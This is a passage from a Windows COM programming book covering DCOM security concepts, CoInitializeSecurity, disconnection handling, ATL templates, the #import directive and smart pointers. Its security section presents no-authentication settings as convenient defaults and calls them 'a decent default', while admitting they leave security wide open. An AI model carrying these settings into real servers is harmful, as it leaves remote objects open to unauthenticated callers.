MULTI_QI qi[2]; // Create an array of 2 structures
memset(&qi, 0, sizeof(qi)); // zero the whole array
qi[0].pIID = &IID_IinterfaceX // add an interface
qi[1].pIID = &IID_IinterfaceY; // add another
You pass both these structures along with the usual parame-
ters. CoCreateInstanceEx() also needs the length of the
MULTI_QI array, and a pointer to the first element.
// Create a server COM object on the server.
HRESULT hr = CoCreateInstanceEx(CLSID_CMyServer, NULL,
CLSCTX_SERVER, &ServerInfo, 2, qi);
// check the qi codes
if (SUCCEEDED(hr))
{
// also check qi hresult
hr = qi[0].hr;
}
if (SUCCEEDED(hr))
{
// extract interface pointers from
// MULTI_QI structure
m_pComServer = (ICpServer*)qi[0].pItf;
}
We have more than one COM status to check. CoCreateIn-
stanceEx() returns a status like every COM library call. We also
need to check the status of each element in the MULTI_QI array.
The server may return different statuses, depending on weather
the requested interface is supported. You’ll have to check the hr
member of each MULTI_QI element.
If the status is OK, the interface pointer can be extracted
from the array. The pItf member will contain a valid interface
pointer. This interface can now be used normally.
234 Chapter 14 •
Distributed COM
Once the connection has been established, there are no dif-
ferences between COM and DCOM. All the DCOM extensions
work equally well for local connections. You’ll hear this referred
as Local/Remote Transparency. This is one of the most powerful
features of COM.
Adding Security
Once you start connecting to the outside world, you will quickly
run into a multitude of security issues. Security is an area where
there are significant differences between Windows NT and Win-
dows 95/98. In general, NT provides a rich and bewildering set
of security options. Window 95/98 on the other hand, provides
the bare minimum required to exist on a network. Many of the
concepts that follow apply primarily to Window NT. Window 95
is inherently insecure.
Generally COM has reasonable defaults for most security
settings. By using DCOMCNFG and some basic settings, you can
get most client/server systems to run. If you need a high level of
security, you’ll need to delve into the many levels of COM secu-
rity. Here we will cover the basic tools used to control COM
security to help get you started.See the error-handling appendix
for further details.
Security Concepts
DCOM has numerous levels of security. Many of DCOM’s secu-
rity features are borrowed from other subsystems. RPCs provide
the basis for COM security, and many of the concepts used come
directly from RPCs.
The most basic security level of DCOM is provided by the
network. Most networks provide some level of login security. If
the local area network is a Windows NT domain, for example,
network logins are managed and restricted by the domain con-
troller. Having a secure network environment goes a long way
towards making the DCOM environment secure.
Access Permissions
235
Additonal Information and Updates: http://www.iftech.com/dcom
Of course, some networks must provide relatively open
access to users. If you provide access to guest accounts, other
domains or a large user community, things are going to be wide
open. It’s only a matter of time before someone starts hacking
your systems.
There is also some basic network security. Most networks
check to ensure that all data packets are legitimate. This means
the network may filter out altered or damaged network traffic.
This also adds a significant level of security to DCOM.
Access Permissions
DCOM runs on top of RCPs, and inherits much of its security
from the RPC mechanism. Fortunately, RPCs have been around
for quite awhile and have developed a good set of security tools.
Much of what follows is actually RPC-based security that has
been piggybacked into DCOM.
Access permission security determines if a particular user
has access to your COM application. Access security checking is
done for the entire application (or process). Depending on the
object, you may allow only certain users to have access, or you
can deny access to particular users. For a Windows NT domain,
the administrator has probably set up special users and groups,
otherwise you’ll get the default groups.
DCOM gets a security descriptor from the registry. This
value is stored as a binary array under the AppID key. DCOM
checks this value against that of the caller.
[HKEY_CLASSES_ROOT \AppID{<AppID>}]
"AccessPermission" = hex: Security ID
DCOM sets up defaults for access security. If an application
requires more security, it can drill down into more sophisticated
security implementation. Checking can be done for the object,
for the method call, and even for the individual parameters of
the method call.
236 Chapter 14 •
Distributed COM
You can either allow or deny permission to any user, or
group of users.
Windows 95/98 has very weak user level security. For Win-
dows 95/98, the user information will be provided by some
other system on the network. Usually this would be the domain
controller.
If you try to connect to a server without sufficient access
permission, you will probably get the "Access Denied" error.
Launch Permissions
Launch Security determines if a caller can create a new COM
object in a new process. Once the server has been launched, this
permission does not apply.
When a client requests a new COM object, it does not create
it directly. COM itself is responsible for the creation of the object.
Before it creates the object, it checks to see if the caller has per-
mission to do so.
Because DCOM allows remote activation, any computer on
the network can try to start a server. Your COM objects are
potentially vulnerable to anyone on your network. Good security
practices require that COM doesn’t even start the object if the
caller doesn’t have permission to use it.
Launch permission for an application is defined in the
AppID key.
[HKEY_CLASSES_ROOT \AppID{<AppID>}]
"LaunchPermission" = hex: Security ID
A security ID is a unique number that identifies a logged-on user. The SID can also represent groups of
users, such has Administrators, Backup Operators, and Guests. This SID is unique and is valid on the local
system and the network (provided there is a domain controller controlling the network). The system
always uses the SID to represent a user instead of a user name.
What is a Security ID?................
Authentication
237
Additonal Information and Updates: http://www.iftech.com/dcom
Windows 95/98 doesn’t have the user level security features
to control the launch of an object. Because of this limitation,
Windows 95/98 doesn’t even try to launch remote applications.
This means that the server must already be running on a Win-
dows 95/98 system.
You can pre-start the server application interactively. This
will run the server as the desktop user. The remote object can
then connect to the object. Unfortunately, when the remote user
disconnects, if it is the only connected client Windows 95/98 will
shut down the server. The next time the remote user tries to con-
nect, they will get an error because the server won’t re-start
itself.
The work-around is pretty simple. You can write a bare-
bones client that connects to the server locally from the Win-
dows 95/98 computer. As long as this client is connected, the
server will have an active reference count and will remain avail-
able. You can put this program in the startup menu, thus making
the server available as long as somebody is logged into the desk-
top. Windows NT has no such restrictions.
Authentication
Authentication means confirming that the client or server are
who they claim to be. The subsystem that provides authentica-
tion is known as the "authentication-service" provider. There are
several authentication services. The default on Windows NT is
NT LAN Manager Security Support Provider (NTLMSSP). Another
is the DCE authentication service, which is based on the Ker-
beros standard.
Impersonation
Impersonation occurs when a server assumes the identity of its
caller. Although this seems a bit odd at first, it considerably sim-
plifies security issues.
238 Chapter 14 •
Distributed COM
Normally when the server is started, it must log in with a
specific username. There are three possibilities:
1. The user who started the server (launching user).
2. The user who is currently logged into the desktop.
3. A specially designated user.
The default is the launching user. For most servers, this
makes sense. The server assumes all the privileges of its creator,
and thus only has access to what it’s supposed to. For servers
that have multiple connected users, this approach doesn’t work
very well. Each of the users may have different security access
privileges and needs.
If you specify that the server uses a specific user, this also
can cause problems. You must ensure that the server’s account
has access to everything it needs. More importantly, you must
ensure it does not provide access to things it shouldn’t.
Impersonation allows the server to temporarily assume the
identity of the calling client. This way, it uses the Security ID of
the client to access the system. Once the client’s operation is
complete, it reverts back to its original account. When the next
client makes a request, it assumes the Security context of that cli-
ent also. Impersonation allows the best of both worlds in terms
of security.
The benefits for a server are quite clear. The client, how-
ever, must be careful about impersonation. By impersonation,
the server can gain access to resources that it normally couldn’t.
A server can impersonate a more privileged client and perform
operations from which it would normally be blocked. This is a
much more subtle security issue. Most of the time we are con-
cerned about protecting the server from the client.
Identity
DCOM allows you to designate that a server runs as a specific
user. Often this is an excellent way to control a server’s security
access. By running as a user with specific privileges, you can
control its access.
Custom Security
239
Additonal Information and Updates: http://www.iftech.com/dcom
Windows NT services default to a special account called
"LocalSystem", which has unlimited privileges on the local
machine but no network access privileges. If the server does not
make use of some form of impersonation, it won’t have access to
network resources.
Custom Security
Regardless of all the levels of DCOM security, you may want to
implement your own. There are numerous ways to implement
custom security. Usually this would involve a username and
password to access the server.
CoInitializeSecurity
The CoInitializeSecurity() function sets the default security values
for a process. It can be used on both the client and server appli-
cation. This function is invoked once per process; you don’t
need to call it for each thread. By process, we mean an applica-
tion program, either a client or COM server. It should be invoked
right after CoInitialize(), and before any interfaces are used.
If you don’t call CoInitializeSecurity(), it will be automati-
cally invoked by COM. It will be called with the defaults set by
DCOMCNFG. The security settings invoked here will override
any defined in the registry AppID key.
This function has quite a few parameters. Some apply to
COM clients, others to servers. Several of these parameters
deserve an entire chapter unto themselves.
HRESULT CoInitializeSecurity(
PSECURITY_DESCRIPTOR pVoid,
DWORD cAuthSvc,
SOLE_AUTHENTICATION_SERVICE * asAuthSvc,
void * pReserved1,
DWORD dwAuthnLevel,
DWORD dwImpLevel,
RPC_AUTH_IDENTITY_HANDLE pAuthInfo,
240 Chapter 14 •
Distributed COM
DWORD dwCapabilities,
void * pvReserved2);
Security descriptors are only used on Windows NT. A secu-
rity descriptor is a structure that contains the security information
associated with an object. If NULL is specified, no security (ACL)
checking is done.
The next two parameters concern authentication. Authenti-
cation is the service used to determine if incoming COM mes-
sages are from a known source. There are several authentication
packages, including the NT LAN Manager, and Kerberos. These
services are automatically handled by RPCs.
Parameter
Used
on
Description
pVoid
both
Points to security descriptor. This parameter is
only used on Windows NT. This descriptor is a
structure that contains the security information
associated with an object. If NULL, no security
(ACL) checking is done.
cAuthSvc
server
Count of entries in asAuthSvc. A value of -1 tells
COM to choose which authentication services to
register.
asAuthSvc
server
Array of SOLE_AUTHENTICATION_SERVICE
structures.
pReserved1
Not used.
dwAuthnLevel
proxies
The default authentication level.
dwImpLevel
proxies
The default impersonation level.
pAuthInfo
Reserved; must be set to NULL
dwCapabilities both
Additional client and/or server-side capabilities
pvReserved2
Reserved for future use
Table 14.1
CoInitializeSecurity parameters
CoInitializeSecurity
241
Additonal Information and Updates: http://www.iftech.com/dcom
The default authentication level is specified for the proxy.
The server will reject calls made at a lower authentication level.
There hare several possible values, each providing a more com-
prehensive level of checking. These constants are defined in
<RPCDCE.H>. Passing in a value of RPC_C_AUTHN_NONE pro-
vides a decent default.
Impersonation allows one process to assume the identity
and credentials of another. In this case, the impersonation level
determines how much the client trusts the server.
The dwCapabilities flags are used to determine further capa-
bilities
of
the
proxy.
These
are
defined
in
the
EOLE_AUTHENTICATION_CAPABILITIES
enumeration
in
<OBJIDL.IDL>.
If you are somewhat bewildered by all the parameters on
the CoInitializeSecurity() call, here are some very perfunctory
default values.
hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_NONE,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
Impersonation Level
Description
RPC_C_IMP_LEVEL_ANONYMOUS The server object cannot get security
information about the client.
RPC_C_IMP_LEVEL_IDENTIFY
The server can get security information,
but cannot impersonate the client.
RPC_C_IMP_LEVEL_IMPERSONATE The server can use the client’s security
credentials for local operations. Repre-
sents a high level of trust.
RPC_C_IMP_LEVEL_DELEGATE
The server can use the client’s security
credentials for network operations. This
level is not supported by many authenti-
cation services.
Table 14.2
Impersonation Levels
242 Chapter 14 •
Distributed COM
EOAC_NONE,
NULL);
Basically, these settings leave security pretty wide open. If
you have real security concerns, you are going to have to
research these issues thoroughly and set up acceptable values.
Disconnection
One of the insidious characteristics of networks is that they are
fragile. You can expect your client and server to be disconnected
for any number of reasons. Perhaps the network had an error, or
the server was rebooted, or the client computer crashes. What-
ever the cause, your applications have to clean up the results.
Another name for this cleanup is "Garbage Collection." COM
implements some simple garbage collection on the COM object
level. A COM server is able to detect when clients have been dis-
connected.
Normally, a client will disconnect gracefully from its server,
shutting down its connection in an orderly way. You need to be
aware of what happens when it doesn’t. Let’s examine how a cli-
ent and server would handle a disconnection.
For the client program, a disconnection is pretty obvious.
The client will make a COM call, and the call will return with an
error. Chances are that your client will be inclined to crash in
one form or another. Whatever the error, the client will have to
handle shutting itself down.
Unfortunately, the client won’t see the disconnection until it
tries a COM call. In many applications, the program may run for
some time before it uses COM. One solution to this is to write a
"heartbeat" function that checks the server connection periodi-
cally.
The server has a different problem: it will never know about
the disconnection. Because all COM applications are driven by
the client, the server is always waiting for a request. If the client
is disconnected, it will stop making requests and the server will
remain connected.
Using the Registry for Remote Connections
243
Additonal Information and Updates: http://www.iftech.com/dcom
If you’re ambitious, you can write a server-to-client heart-
beat check with a callback. The server would periodically call
the client’s callback to see if it is alive. Fortunately, in most cases
this isn’t necessary.
COM implements a type of heartbeat called "Delta Pinging."
The "Ping" part of this is obvious. The RPC layer of COM will
send out a ping message from client to server every two minutes.
A ping is just a small packet of information that indicates the cli-
ent is connected. If the server fails to get three consecutive ping
messages, it disconnects the client and cleans up its outstanding
connections. This means it usually takes about seven minutes for
a broken client connection to be cleaned up. This is automatic
behavior, and you don’t have much control over it.
One place for the server to check for a disconnection is in
the COM object’s destructor. When the COM object is discon-
nected, its destructor will eventually be called. You can handle
custom object cleanup in this code.
Because network operations can be expensive, COM tries to
be very efficient about its ping messages. These ping messages
are piggybacked onto existing COM calls if possible. This elimi-
nates unnecessary message traffic for active connections.
RPCs also combine all pings from a server before sending
them. This means that only one ping message will be sent from
one client to its server, even if the client has multiple COM
objects. These groups of ping messages are called "ping sets."
Using the Registry for Remote Connections
We’ve covered some of the programming differences between
COM and DCOM. There is another way to connect to remote
servers by using registry settings. This is a somewhat crude
method, but it is useful when working on legacy applications.
For most cases adding remote capabilities to the C++ modules
will give more control.
The easiest way to do this is through DCOMCNFG. Select
the properties of your COM object and select the "Location" tab.
244 Chapter 14 •
Distributed COM
Using this utility, you can specify the name of a remote com-
puter.
Installing the Server on a Remote Computer
If you want your server to run on the remote computer, you’ll
need to install it. All you have to do is copy the program (EXE)
to the remote computer and register it. Use the -Regserver com-
mand. If you have a proxy/stub DLL, you will also have to regis-
ter that. Use REGSVR32 to register the proxy/stub DLL.
If your server is running Windows 95, be sure DCOM is
installed. On NT DCOM installs as part of the operating system,
but in Windows 95 it is a separate step.
F
I
F
T
E
E
N
15
ATL and Compiler
Support
COM itself is simple, but for some reason writing COM applica-
tions always turns out to be harder than you expected. The
demon of that plagues COM is complexity. The only way to tame
this complexity is with good programming tools. If you're work-
ing with COM, you have three choices:
1. Write C++ SDK programs
2. Use MFC and it's OLE infrastructure
3. Use ATL
C++ SDK Programming
You can write perfectly good COM programs with native C++
and a few of the COM SDK routines. There's just one problem: it
takes forever. Most of COM programming is repetitive boilerplate
code. In any case, for anything but client programs, it's going to
be a lot of work. It's a perfect application for a class or template
library. You might as well use MFC or ATL.
246 Chapter 15 •
ATL and Compiler Support
MFC COM
MFC offers a viable way to implement COM. Traditionally COM
was a substrate of OLE. OLE brings along with it quite a bit of
baggage. MFC is designed for writing User Interface programs.
MFC offers many powerful features for User Interface programs.
Most people writing C++ programs end up using MFC. Unfortu-
nately, the GUI concentration means that MFC isn't a great fit for
the server side of COM programming.
When you use the MFC wizards built into Visual C++, you
get a great framework on which to base your application. The
wizards hide the big problem with MFC, which is also complex-
ity. If you've every tried to do non-standard things with the MFC
framework, you quickly find yourself in a morass of unfamiliar
and unfriendly code.
The other problem with MFC is size. It's huge. Including
MFC in a non-User Interface program adds a lot of overhead. Of
course, this isn't always a problem. If your application is already
using MFC, linking in the MFC DLL isn't a burden.
Here is a quick summary of the challenges you'll face with
MFC
• MFC is large and complex.
• MFC does not easily support dual interfaces.
• MFC does not support free threading. Thread safety is a
problem with MFC.
As we saw in Chapter 4, creating a COM client with MFC is
straightforward. For COM servers, ATL is the way to go.
ATL - The Choice for Servers
ATL is currently the best choice for developing COM servers. The
ATL wizards provided with Visual C++ offer an extremely attrac-
tive way to develop server applications. Almost all the server
examples in this book use the ATL wizards. Currently there is no
tool for COM server development that comes close to ATL.
Basic Templates
247
Additonal Information and Updates: http://www.iftech.com/dcom
In addition, ATL supports all threading models. If you want
the advantages of free threading you'll probably need to use
ATL. Dual Interfaces are another extremely useful feature. With
ATL, creating dual interfaces is very easy - it's just a matter of
clicking a button in the wizard.
Finally, ATL offers a very small memory footprint. Because
ATL is a template library, you aren't linking in a big DLL or
library. The ATL templates work with the compiler to generate
only the code you need.
That doesn't mean you can't use MFC also. On the simplest
level, you can include MFC as a shared DLL, and include the
AFX headers in the ATL server. If you want to develop CWinApp-
based applications it will take some more work. You'll have to
include the standard MFC InitInstance and ExitInstance methods
and integrate them with the standard ATL _Module (CComMod-
ule).
What's the down side? No question about it - lack of docu-
mentation. ATL is a new product, and there's just not that much
information published about it. Fortunately this is rapidly chang-
ing. Every month, more is being written about this excellent
library.
Basic Templates
If you've worked with templates, ATL will make perfect sense. If
you've used the standard template library (STL), you'll be right at
home. If not, your initial reaction will probably be one of bewil-
derment. For most C++ programmers templates seem somewhat
unnatural,
Templates are a very specialized form of macro with type
checking. The 'C' and C++ macro pre-processor allows you do
some powerful and sophisticated text substitutions. Unfortu-
nately, macros can be quite cryptic, and worse, they introduce
difficult errors into programs. Many of these errors are the result
of data type mismatches. Given these difficulties, many C++ pro-
grammers cringe whenever they see macros in their source code.
248 Chapter 15 •
ATL and Compiler Support
Templates use the same text-substitution technology as mac-
ros, but add some extra syntax for type checking. Templates
have a more structured environment than traditional pre-proces-
sor macros. This eliminates a lot of, but not all of, the problems.
Templates can still be extremely cryptic, and debugging them
can be difficult.
A Simple Template Example
Take a standard piece of code that swaps two integer values. It's
a piece of code that we've all written at one time or another:
void swap( int &a, int &b )
{
int itemp = a;
a = b;
b = itemp;
}
Here's the call to swap.
int a=1;
int b=2;
swap( a, b );
This piece of code works only for integers. If we were to
pass in a double, we'd get a compiler error. You would have to
rewrite the function to take a double & instead of an int &. How
would you write this piece of code generically? One easy
method would be to use a macro.
#define SWAP( t, a, b ) {\
t temp; \
temp = a; \
a = b; \
b = temp; \
}
Basic Templates
249
Additonal Information and Updates: http://www.iftech.com/dcom
Calling this macro would take three parameters; the first one
would be the data type.
double d1 = 1.1;
double d2 = 2.2;
SWAP( double, d1, d2 );
Calling this macro would work with either an int or a dou-
ble, depending on what we passed in. Actually, this isn't a bad
way to write this piece of code. Unfortunately, there's not any
type checking going on. That means when you pass in incom-
patible data types, the compiler will give you very misleading
error message, or worse - no error message at all.
Another problem is the ugly syntax. The macro pre-proces-
sor wasn't designed to write functions and programs. The
#define syntax is difficult to write; it's especially unpleasant to
remember all the backslashes.
Templates offer a more type-safe method of doing the same
thing. Here's how we'd write the swap routine as a template:
template <class T>
void Swap( T & a, T & b )
{
T temp = a;
a = b;
b = temp;
}
In templates, the variable "T" usually stands for the substi-
tuted data type. We can call Swap with almost any data type:
int i1, i2;
CString cs1,cs2;
CmyDataType md1, md2;
Swap( i1, i2 );
Swap( cs1, cs2);
Swap( md1, md2 );
The best part of this template is that the compiler will actu-
ally give you a meaningful message if you get it wrong. If the
250 Chapter 15 •
ATL and Compiler Support
types aren't compatible, the compiler will give you an error mes-
sage. We should note that the template definition is readable
code. The angle brackets do take some adjustment.
Template Classes
Template functions are actually one of the simpler things we can
do with templates. The real power of ATL comes in defining
classes. ATL makes heavy use of template classes. The syntax of
defining a class template is very similar to the function template
above.
template <class T>
class PrintClass
{
public:
T m_data;
public:
void Set( T a ) { m_data = a; };
void Print() { cout << m_data << "\n"; };
};
We can use the class with any data type that is compatible
with "cout". This is a trivial example, but you can begin to see
the potential of templates.
PrintClass<int> x;
x.Set( 101 );
x.Print();
One of the characteristics of ATL is multiple inheritance.
Most ATL COM classes created by the ATL class wizard are built
around multiple inheritance.
Here's one of the headers generated by the ATL wizard.
class ATL_NO_VTABLE CBasicTypes :
public CComObjectRootEx<CComSingleThreadModel>,
public CComCoClass<CBasicTypes, &CLSID_BasicTypes>,
public IBasicTypes
Basic Templates
251
Additonal Information and Updates: http://www.iftech.com/dcom
Notice that this coclass is implemented by the ATL templates
CComObjectRootEx and CComCoClass. The CComObjectRootEx
template handles reference counting for the COM object, CCom-
CoClass implements the COM class factory. The third inherited
class, IBasicTypes, is an interface, which is a plain C++ base
class (with a COM VTABLE layout)
Template code can get extremely ugly. Because of its terse-
ness, template code is hard to follow. Take the following exam-
ple:
typedef CComObject<CComEnum<IEnumString,
&IID_IEnumString,
LPOLESTR, _Copy<LPOLESTR> > > IEnumObject;
IEnumObject* pNewEnum = NULL;
This looks like an entry in the obfuscated C++ code contest
- templates nested three deep! This example declares an ATL
enumeration interface. (The three template classes here are CCo-
mObject<>, CComEnum<>, and _Copy<>.)
There are several interesting things going on here. A pecu-
liar aspect of templates is how they handle typedef statements.
No code is generated until an actual object is declared. Another
oddity is the placement of angle brackets. The critical difference
here is between ">>" and "> >". The former is the stream opera-
tor, the latter is the end of a nested template definition. If you
forget the space between angle brackets, you'll get some inter-
esting compiler errors.
The fundamental ATL classes include:
252 Chapter 15 •
ATL and Compiler Support
ATL Class
Template
Argument
Description
CComObjectRoot
Your class.
Implements the methods of IUn-
known. This class gives you Que-
ryInterface, AddRef, and Release.
Works for non-aggregated
classes. Uses single threading
model.
CComObjectRootEx
ThreadModel. Use
one of the threading
model classes.
Handles the reference counting
for the object. ATL objects must
be based on CComObjectRoot or
CComObjectRootEx.
CComCoClass
Your Class and a
pointer to the CLSID
to the object.
Defines the object's default class
factory and aggregation model.
CComSingleThread-
Model,
CComMultiThread-
Model
Single and multi-treading mod-
els.
IDispatchImpl
Your class, the IID,
and LIBID.
IDispatch implementation for
dual interfaces.
CComPtr
Interface
Implements a smart pointer to
manage an interface.
CComQIPtr
Interface, IID of inter-
face
Implements a smart pointer to
manage an interface. Allows que-
rying of interfaces.
CComAggObject
Contained class
Implements IUnknown for an
aggregated object.
Table 15.1
Fundamental ATL Classes
Native Compiler Directives
253
Additonal Information and Updates: http://www.iftech.com/dcom
Native Compiler Directives
One of the most important recent changes to COM was the addi-
tion of native Visual C++ compiler directives. By native, we
mean that these commands can be included directly into your
C++ source code, and the compiler will recognize them. This
native support is oriented towards the client program. This is an
interesting step towards making COM programming a lot easier.
The #IMPORT Directive
The import statement allows the compiler and pre-processor to
use a type library to resolve certain types of COM references.
This information is converted into C++, making it easily available
to the application. Type libraries have a tremendous amount of
useful COM information in them. This includes Class Identifiers
(CLSID), Interface ID's, and especially interface definitions.
Traditionally the only way to get this information was
through include files. MIDL generates the C++ headers for these
definitions, but you have to locate and include the proper head-
ers. While not especially difficult, this step is tedious and prone
to failure when header files are moved or changed.
As useful as these changes are, they aren't really anything
new. Many languages that support COM have had this feature for
years. Visual Basic has a component browser that does much the
same thing.
//#import "filename" [attributes]
#import <test.lib> no_namespace
The syntax is quite simple. There are however, quite a num-
ber of attributes for the import statement. The only one you'll
commonly see is "no_namespace". We'll discuss namespaces
shortly.
Like the C++ include statement, the #import directive can
use either angle brackets "< >" or double quotes. Like the
include statement, the choice affects the search order of directo-
ries for the type library. Angle brackets will search the "PATH"
and "LIB" environment variables first, and lastly check the com-
254 Chapter 15 •
ATL and Compiler Support
piler include path option ("/I"). Double quotes will search the
current directory first, followed by the paths shown above.
Type libraries aren't the only way to get this type informa-
tion. EXE and DLL files can also contain type libraries. You can
also specify these types of file in the import directive.
Namespace Declarations
Name spaces in C++ are used to prevent name conflicts with
variables, types, and functions. By default, the import directive
puts all its generated code in a C++ "namespace." The
namespace used is based on the type library name. If the typeli-
brary was "TEST.TLB" the namespace would be "TESTLib". To
use data declared in a namespace, you have to prefix everything
with the namespace name. Here's an example of a simple
namespace.
namespace MySpace {
typedef int SPECIAL;
}
MySpace::SPECIAL x;
If you leave off the "no_namespace" attribute for the import
statement, you'll have to prefix all the import generated declara-
tions with a namespace. One of the things the import statement
does is define "smart pointers" for all of the interfaces in the
library. If we create an enumeration in MIDL called RGB_ENUM,
we would have access to it through the import statement. Our
client program could refer to this enumeration, but it would have
to prefix it with the type library namespace.
#import "TEST.TLB"
// The compiler will give an error here:
RGB_ENUM BadRgbEnum;
// This works.
TESTLib::RGB_ENUM RgbVal;
Native Compiler Directives
255
Additonal Information and Updates: http://www.iftech.com/dcom
If you don't want to mess with namespaces, you import with
the "no_namespace" attribute. This allows you to use the MIDL
names directly. Of course if the type library you import has
name collisions with your program, you'll have to use the name
spaces.
Smart Interface Pointers
In the 1956 science fiction classic "Invasion of the body-snatch-
ers", aliens replace everybody in a small town with substitutes
that are grown in giant green seed-pods. These replacement
people look the same, talk the same, and act the same as the
originals, but they are strangely different - they are loveless,
emotionless automatons. The plot of this movie reminds me of
smart pointers.
Smart pointers are helper classes that manage interfaces
automatically. A smart pointer 'takes over' a COM interface,
replacing its behavior with some subtle, but different actions.
The main advantage of smart pointers is that they handle the
COM creation, reference counting, and releasing automatically.
With smart pointers, COM interfaces act a lot more like normal
C++ pointers.
Before we get much farther, we should look at the down-
side of smart pointers. The most significant one is that they don't
handle remote access. Smart pointers use CoCreateInstance,
instead of the more powerful CoCreateInstanceEx method. There
is no way to pass a smart pointer the COSERVERINFO structure,
which contains the remote computer name. If your going to use
a remote system, you'll have to specify the remote computer
using DCOMCNFG.
The other common problem with smart pointers is related to
program scope. The smart pointer constructor and destructor
create and destroy the actual COM interface. This means you've
got to be careful about the scope of the pointer.
Another issue is error handling. When a smart pointer gets a
COM error, it throws an exception. This means you'll have to
program with try/catch blocks. In terms of program overhead,
256 Chapter 15 •
ATL and Compiler Support
smart pointers are quite efficient. You shouldn't see a significant
performance hit from using them.
Smart Pointer Classes
There are several classes of smart pointers in Visual C++. The
first group of classes come from ATL, and are called CComPtr<>
and CComQIPtr<>. These classes don't offer big advantages
over standard COM interfaces.
If you are using the #import directive, you have access to a
more powerful type of smart pointer. These pointers are based
on _com_ptr_t. Much of the power of these objects is in their
constructor. When you create a _com_ptr_t with either new or a
declaration, it can actually connect to a COM object. This means
the constructor is calling CoCreateInstance and managing the
resultant interface.
Here's a typical use of a _com_ptr_t object. This smart
pointer is bound to a specific interface - IBasicTypes. The type
IBasicTypesPtr is a smart pointer. It is automatically declared by
the
#import
directive.
This
is
done
with
a
macro
_COM_SMARTPTR_TYPEDEF, which creates a typedef with the
interface name + "Ptr".
The definition translates into something similar to the fol-
lowing typedef.
typedef _com_ptr_t<__uuidof(IBasicTypes) > IBasic-
TypesPtr;
Surprise, _com_ptr_t is a template! The __uuidof() macro
retrieves the GUID of the IBasicTypes interface.
Here's how we use the class:
IBasicTypesPtr pI( _T("BasicTypes.BasicTypes.1") );
long l1=1;
long l2=0;
pI->LongTest( l1, &l2 );
Native Compiler Directives
257
Additonal Information and Updates: http://www.iftech.com/dcom
You'll immediately notice the missing steps: there is no
CoCreateInstance() and no Release() called, and no HRESULT
returned. Actually, all the usual things are going on, but they are
hidden in the smart pointer class. First, the CLSIDFromString()
is called to translate the CLSID (or ProgID) into a GUID. If the
CLSID is valid, the smart pointer calls CoCreateInstance and
obtains an interface pointer. The returned interface is saved
internally and used whenever it is required.
Watch Out for Destructors
Smart pointers are wonderful things, but they also present some
problems. You've got to be careful about the scope of smart
pointers. When you declare them as we did above, smart point-
ers are created on the stack. This means that a pointer’s lifetime
will be only within the braces {} in which it was declared. This
might be inside a function, or inside an if block.
Remember that the smart pointer destructor will be called
when it goes out of scope. By default, the destructor of a smart
pointer automatically calls Release(). This can cause several
problems. When you destroy the last reference to the COM
object, the COM server may shutdown. This means that the next
COM call may have to restart the server - this can be quite slow
for an out-of-process server.
Here's a piece of code that will cause problems:
void main()
{
CoInitialize(0);
IBeepPtr pBadPtr( _T("Beep.Beep.1") );
pBadPtr->Beep();
CoUninitialize();
// crash on exit
}
The problem here is that CoUninitialize() is called before
the destructor to the smart pointer. You'll get an un-handled
exception from this code. The smart pointer calls Release() on its
258 Chapter 15 •
ATL and Compiler Support
destructor, but COM has already been shut down by CoUninitial-
ize().
There is a relatively simple work-around. Declare the smart
pointer inside a set of braces. This will ensure that the pointer is
destroyed before CoUninitialize();
void main()
{
CoInitialize(0);
{
IBeepPtr pBadPtr( _T("Beep.Beep.1") );
pBadPtr->Beep();
}
CoUninitialize(); // no problem
}
This is lousy code for several other reasons. The main prob-
lem is that it has no error checking. If the "Beep.Beep.1" inter-
face isn't registered, the declaration of the smart pointer will
throw an exception. There is no try/catch block; it will fail with
an uncaught exception. The next section describes how to catch
errors thrown by a smart pointer.
Smart Pointer Error Handling
Many smart pointer operations don't return an HRESULT. Obvi-
ously, they need some sort of error checking. They get around
this by throwing an exception whenever they get an error
HRESULT. The _com_ptr_t class calls _com_issue_error when-
ever it encounters an error. _com_issue_error constructs a
_com_error object with the HRESULT and throws it. Here's the
code of the _com_ptr_t implementation of AddRef().
void AddRef()
{
if (m_pInterface == NULL) {
_com_issue_error(E_POINTER);
}
m_pInterface->AddRef();
}
Native Compiler Directives
259
Additonal Information and Updates: http://www.iftech.com/dcom
AddRef needs a valid interface pointer. If the member inter-
face pointer is NULL, it calls _com_issue_error with the HRESULT
of E_POINTER. You can also see that the implementation of
smart pointers isn't especially complicated.
To catch the _com_error, you need to include all smart
pointer objects with a try-catch block.
try
{
IBasicTypesPtr pI( _T("BadCLSID.BadCLSID.1") );
PI->SomeMethod();
}
catch (_com_error e)
{
// handle the error
}
All the code you write with smart pointers will need try-
catch blocks.
The _com_error class provides a nice encapsulation of
HRESULTs and common error handling functions. You can
retrieve the raw HRESULT code by calling Error.
catch( _com_error e )
{
cout << "HRESULT = " << e.Error() << endl;
cout << "ErrorMessage() = " << e.ErrorMessage()
<< endl;
}
The ErrorMessage method takes the place of the Format-
String API. The ErrorMessage method of _com_error handles the
creation of the printable error string. It also automatically deletes
the message buffer when it's done. FormatString is a very trou-
blesome function. It has numerous complex arguments. The
other problem with FormatString is that it allocates a string buffer
that must be explicitly released with LocalFree().
260 Chapter 15 •
ATL and Compiler Support
How the IMPORT Directive Works
You've probably been wondering how the import directive
accomplishes all the things it does. It includes MIDL definitions
in the C++ program, creates smart pointers, and it gives us the
useful _com_error type. The way all this is accomplished is quite
ingenious.
The import directive creates two header files. These files are
automatically created by retrieving information from the type
library. The contents of these two files are included in the source
as headers. Whenever the type library changes, the contents of
these two headers is regenerated.
The first type of file is a typelib header, or TLH. It includes
the following sections:
• The COMDEF.H header
• MIDL structure, enum, coclass, and interface typedefs.
• Smart pointer definitions for interfaces.
• Interface wrapper declarations.
• Interface raw declarations.
• An #include of the TLI file.
The other generated file is a typelib implementation file, and
has the extension TLI. TLI files contain the implementation of
smart pointer wrapper methods.
Raw and Wrapper Methods
When you call a method on a smart pointer, you're not directly
calling a COM method. The smart pointer has a wrapper method
for each of the interfaces methods. When you call the wrapper
method, you're calling a local non-COM method of the smart
pointer class. The wrapper method will call the raw COM
method directly, and check the HRESULT returned.
Here's the definition of an actual wrapper class method. The
wrapper class is IBasicTypes. This code comes from a TLI file.
inline HRESULT IBasicTypes::LongTest ( long l,
long * pl )
{
Summary
261
Additonal Information and Updates: http://www.iftech.com/dcom
HRESULT _hr = raw_LongTest(l, pl);
if (FAILED(_hr)) _com_issue_errorex(_hr,
this, __uuidof(this));
return _hr;
}
As you can see, the wrapper class just calls the raw COM
